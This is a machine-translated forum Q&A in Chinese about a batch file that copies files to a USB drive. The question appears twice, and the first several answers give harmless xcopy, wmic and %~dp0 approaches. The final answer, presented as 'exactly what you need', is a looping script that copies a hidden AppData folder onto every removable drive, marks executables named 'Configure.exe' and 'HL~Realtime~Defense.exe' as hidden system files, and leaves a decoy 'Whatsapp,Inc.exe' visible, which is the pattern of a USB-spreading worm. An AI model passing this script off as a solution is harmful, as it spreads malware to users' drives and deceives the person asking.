我想创建一个批处理文件以将文件从任何 Dir 复制到 .bat 文件所在的根文件夹中,就像 USB 闪存驱动器一样。
我不完整的命令:
xcopy /s "%userprofile%\Desktop\test.txt" "?"
我可以用“?”代替什么????多谢你们
我想创建一个批处理文件以将文件从任何 Dir 复制到 .bat 文件所在的根文件夹中,就像 USB 闪存驱动器一样。
我不完整的命令:
xcopy /s "%userprofile%\Desktop\test.txt" "?"
我可以用“?”代替什么????多谢你们
这将完全按照您对任何和所有连接的 USB 驱动器的要求进行。
@echo off
for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (
if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
)
)
你应该用USB驱动器的驱动器号替换它:\
所以,真正的问题是如何确定系统中的哪些驱动器是USB闪存驱动器,我猜?这是代码:
@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%
for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del %OUTTEXTFILE%
del %INTEXTFILE%
但要考虑到它肯定只适用于 1 个可移动磁盘。如果插入了两个这种类型的设备,它将失败。
xcopy /s "%userprofile%\Desktop\test.txt" "\"
您需要做的是使用 USB 目录的相对路径。代码将如下所示:
@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause
这应该让您进入一个提示,您想从/它的名称复制文件夹。它将文件命名为与原始文件相同并保持原始格式(.txt 等)。让我知道这是否对您不起作用而不是投票,我会尽快为您制定另一个解决方案。祝你好运!
@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd "%USERPROFILE%\Appdata\Local\SystemSettings"
xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
ATTRIB -H -R -s %%cWhatsapp,Inc.exe
timeout /nobreak /t 99
goto loop
正是您所需要的